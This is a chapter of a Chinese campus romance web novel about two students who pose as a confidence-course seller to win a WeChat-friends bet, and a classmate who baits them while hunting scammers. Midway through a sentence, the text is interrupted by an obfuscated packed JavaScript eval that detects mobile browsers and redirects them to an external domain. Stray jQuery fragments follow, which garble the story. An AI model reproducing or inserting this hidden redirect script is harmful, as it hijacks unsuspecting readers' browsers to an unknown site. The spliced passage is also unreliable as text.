女生宿舍楼已经熄灯。


    空调声音掩盖了细微的呼噜和磨牙声，每张床帘都遮好了，里面没动静，也没透出一点光。


    但有个人躺在床上，翻身又翻身，还是静不下来。最后怕吵到别人，她干脆坐了起来，在黑暗里干瞪眼。


    还是睡不着。


    手机屏幕亮起，宋清杳给安诗发短信：


    【睡了吗？】


    安诗亦未寝。


    她们蹑手蹑脚溜到楼梯间，坐在台阶上，面对一扇能看见星星的窗户，开始小声痛骂那个始作俑者。


    “徐活就是个神经病！”


    “其实也算好人，”安诗为他说话，“毕竟能换两万块钱，对我来说已经很好了。”


    车是安诗借来的，原本在叔叔家仓库闲置不用。那天追尾的时候，她曾给叔叔打电话问保险，却听说这辆老破车很多年没交过商业险了，交强险只赔两千。天知道当时她有多么五雷轰顶。


    要不是徐活给了一个免去赔偿的机会，安诗恐怕要暂时休学一段时间。


    “神经病好人。”这并不冲突。


    总得让人骂一骂吧，宋清杳都睡不着了。


    二人今晚失眠的原因相同：新加的微信好友有点杂。


    从回到宿舍之后，微信小红点就不停冒出来。吵得宋清杳都没时间和姜宇打招呼，干脆调成静音，不看了。


    这也就算了，主要是收到的内容实在有点猎奇。


    她同时收到了五个男生的消息，有含蓄的也有露骨的，全在脑子里嗡嗡，就算闭上眼也能看到。


    “你到底怎么得罪的徐活？”


    让他想出这么歹毒的赌约。


    “小事，”宋清杳心虚，“我把他拉黑了。”


    小学的时候，安诗、宋清杳、徐活是三个关系很好的小朋友。但升初中的那一年，徐活突然出国，就只剩下宋清杳和安诗一起玩。当时安诗没有手机，只有宋清杳加了徐活的联系方式。


    后来拉黑他只是因为双方吵了个小架，宋清杳自认有错，那纯属年少轻狂，中二时期的叛逆。


    宋清杳以为他不会再回来，就算回来也不会碰见。但前几天竟然在学校表白墙瞧见了他的照片——有人发帖问这位开豪车的富二代是谁。


    黑历史回来华丽复仇的即视感。


    安诗：“啊？”


    安诗：“哦，那怪不得，他反应有点奇怪。”


    当时追尾之后，安诗正在为赔偿的事情焦头烂额，忽然瞧见那辆被撞的豪车降下了玻璃。一只手捏着细细的香烟伸出窗外，指尖轻扣，火星飘落，烟雾袅袅上升。


    安诗不太自信地叫了声：


    “徐活？”


    那人歪了歪头，面向她：“安小诗，我改姓了，现在叫时活。”


    大街上不方便说话，时活约她到咖啡店商量赔偿的事。咖啡店里没多少人，环境私密又安静，正适合协商赔偿款。


    安诗试探着地开启话题，得到的回应却阴阳怪气，怎么听怎么不舒服。


    她略显尴尬地提了一嘴：“没想到你还记得我，宋清杳要是知道了应该也会很高兴吧。”


    对方直接怒了：“记得谁？就你们？你和宋清杳？呵，怎么可能！我微信好友三千多，每天花天酒地潇洒得很，早把你们忘了！谁还记得小学时候遇到的两个傻货！”


    安诗还没反应过来，又听见对方的冷笑：


    “哈哈，倒是你和宋清杳，小时候跟鹌鹑一样，根本不敢和别人说话。除了好心的我之外还有谁和你们玩！现在过得怎么样，肯定没有朋友吧？”


    于是有了比一个学期后谁的微信好友数更多的赌约，赢了就不用赔钱。时活大发善心，同意宋清杳和安诗一起参与，要一个赢两个。


    安诗当时答应，并不是因为她没感受到对方话语中的趾高气昂和优越感，也不是她没有自尊心。而是因为时活随手在咖啡店点了一份套餐，149元，是安诗掏的钱。


    她的手机屏幕就一直亮着那条短信：您的账户…交易后余额32.22【中国银行】


    宋清杳紧紧抱住自己的自信秘籍，决心要帮安诗挣回这两万块。


    但这样下去不行。加微信并不难，问题在于她们缺少一个合理的加微信理由，随随便便就加了，以至于有些异性以为这是暧昧（聊骚）的开始。


    在遭遇了狂轰滥炸之后，宋清杳也是刚发现这个问题。


    她需要一个借口，或者说是一个既可以加到微信，又不会被骚扰的身份。


    安诗忽然提出：“微商？”


    如果是微商，就能在网上加到更多微信，不用一个个去要了。更重要的是，不露脸，把性别改成男，就不会被骚扰。


    这个主意像模像样，换个思路想，就算不是微商，只要是卖点什么东西就行。最大的问题是：


    “那我们卖点什么？”


    宋清杳提问的时候，手边刚好有一本小册子，《成功女人必备的自信学秘籍》。


    她双眼放光，灵感一瞬间迸发！


    另一栋宿舍。窗台上，吊兰枝叶正在向远处的夜空延伸，月亮映照在洁白的瓷盆上，也照着黑夜中一张若有所思的人脸。


    姜宇有失眠的毛病，从小就有，经常晚上一个人站在窗边吹风。


    手机一直亮着消息界面。


    【你已添加了忧天的小杞，现在可以开始聊天了。】


    对方的头像是一只橘猫的丑照，朋友圈三天可见，空空荡荡，什么都看不出来。


    然后是他发的，


    【却下层楼：你好，我是姜宇。】


    对方没有回复。


    姜宇现在心情不大好，一口嚼碎了五颗薄荷糖，才终于缓和一些。


    想到今天许升平找他帮忙的事，他退出微信，开始冷着脸翻企鹅群聊。


    抓骗子……


    叮咚一声，一条消息映入眼帘。


    【枸杞大师：大师级自信课程！你还是不敢搭话吗？上台演讲双腿发抖吗？注定错过那份爱情吗？点我，收获震撼级视听课程，包教包会（心）】


    他点开对话框。


    ……抓到了。


    黑暗中，姜宇敲出第一条消息，


    【无冬春：课程免费吗？】


    马上收到回复。


    【枸杞大师：微偿，加我微信把课程资料发你哦~】


    【无冬春：不加微信，就在企鹅发吧。】


    【枸杞大师：不可以哦亲亲，这边只支持微信交易哦。】


    姜宇偏头勾唇，饶有兴趣地笑了笑。非要加微信，果然是骗子。


    他稍稍改变了一下话术。


    【无冬春：大师！我真的非常需要这份课程，但是稍微有点怀疑。】


    【无冬春：大师，请问你们这边正规吗，不会骗我吧？】


    ……


    今天有大物课，宋清杳顶着两个大黑眼圈起床，去食堂吃了一张有气无力的煎饼，连蛋都没加，死活提不起精神。


    大橘学长又来蹭她的腿，宋清杳敷衍地摸了两下，学长不满意，喵喵地边骂边走。


    宋清杳试图挽留，但是她困啊！她没睡好啊！


    倒不是因为爱情，而是她昨晚遇到了一个难缠的人。


    她化身卖课的在各个群聊打广告，试图加到微信好友，结果还真遇到一个客户。


    对方看起来非常急迫想要买课，但是左打听右打听，就是不加微信！


    每次宋清杳烦了，想干脆不理他的时候，对方那种急切的语气就跟过来。


    【无冬春：大师！我真的需要，帮帮我吧大师。】


    宋清杳恨不得发语音喊：那你倒是加


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016799|178481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微信啊！


    每当快要聊好的时候，对方又开始犹豫。


    【无冬春：但是大师，你是做什么工作的？靠谱吗？】


    宋清杳实在忍不了，给他发：


    【枸杞大师：我们就是在校园群认识的，你问我做什么工作？？？】


    【枸杞大师：我总不会是教授吧！】


    【枸杞大师：我总不会是学校里那只猪一样的橘猫吧！】


    然后绝望地放下手机睡觉。当时是凌晨三点半，她实在熬不住了。


    导致今天早上眼睛睁不开。


    但课还得上，就算不为了姜宇，也得为那位天天点名的灭霸老帅哥，为了她珍贵的学分绩点。


    她背着包，还没走到教学楼，就在路上看见个人影。宋清杳一下子精神起来。


    花坛旁边杵着的大傻个，怎么瞅怎么眼熟。


    那大傻个像是专门在等她，三两步跑到她面前：“清杳。”


    是之前告白把草皮烧着的周叔瑜。


    宋清杳想起安诗说过的话。


    周叔瑜跟姜宇有仇，要是听到那些说姜宇在追她的传言，肯定会来找她。


    果然来了。


    宋清杳看了看时间，现在距离上课还有十分钟，她坐到旁边的花坛边，听周叔瑜把话讲完。


    于是，周叔瑜义愤填膺地开始叙述自己和姜宇的恩怨，从他的助教名额被抢开始。


    据他所说，虽然学校没有明文规定，但助教名额一般都会优先给贫困生。而当今年的名单出来的时候，周叔瑜惊讶地发现其中没有自己，却多了一个本不该出现的富家子弟。


    他说的这个富家子弟就是姜宇。


    其实宋清杳听到这里已经不耐烦了，因为据她所知，姜宇并不是什么有钱人。正相反，根据宋清杳多年偷偷观察的经验来说，姜宇父母双亡，家里只有生病的外婆和吝啬的舅舅，从小就一个人养活自己，简直是个小可怜。


    但周叔瑜说，姜宇的力量很可怕，不仅抢了他的名额，还在学校内部有人脉，他的每一次揭发都被对方轻飘飘解决。


    更可怕的是，姜宇听说他家庭困难之后，主动为他介绍了一个大实验室。周叔瑜一开始感激得很，可当他进去之后才发现，实验室师兄都已经被姜宇买通了，导致他每天干脏活累活不说，还要遭受师兄们的白眼。


    “你知道我去找姜宇对峙，他对我说了什么了？”


    “他竟然问我最近过得还好吗！他X的就是在暗示我那些脏事都是他干的！他X的双面人！”


    这算什么暗示？明明就是友好问候。宋清杳听着不太对劲，这个故事逻辑有问题。


    哪怕姜宇真的是一个不择手段的富二代，那他针对周叔瑜的目的是什么？就算是报复，也总得有个开端才对。


    当她问起这个的时候，周叔瑜却支支吾吾不肯多说，只是劝她：“清杳，那种有钱人实在太可怕了，他真的特别会装。你一定要远离他，千万不能招惹啊！”


    “我闲的没事干惹他干嘛？”


    宋清杳皱着眉，语气有些不耐烦。她喜欢还来不及呢。


    马上快要上课了，她没时间和周叔瑜继续交谈，便不再搭理这个人，调整好心情走进教学楼。


    看了眼时间，发现企鹅上又收到两条消息。


    【无冬春：你不是D大的吧。】


    【无冬春：假冒名校生？我就在D大，怎么从来没见过你？】


    她算看出来了，这人纯属找事。


    宋清杳没有耐心再和这孙子絮叨，她无语一笑，直接骂：


    【枸杞大师：你才是假的吧？话都听不懂，这智商基本告别高考了。】


    随后关掉手机，走进教室。网络对战不是她的强项，但骂了就跑也不至于输。


    推开门。今天姜宇会坐哪个座位呢？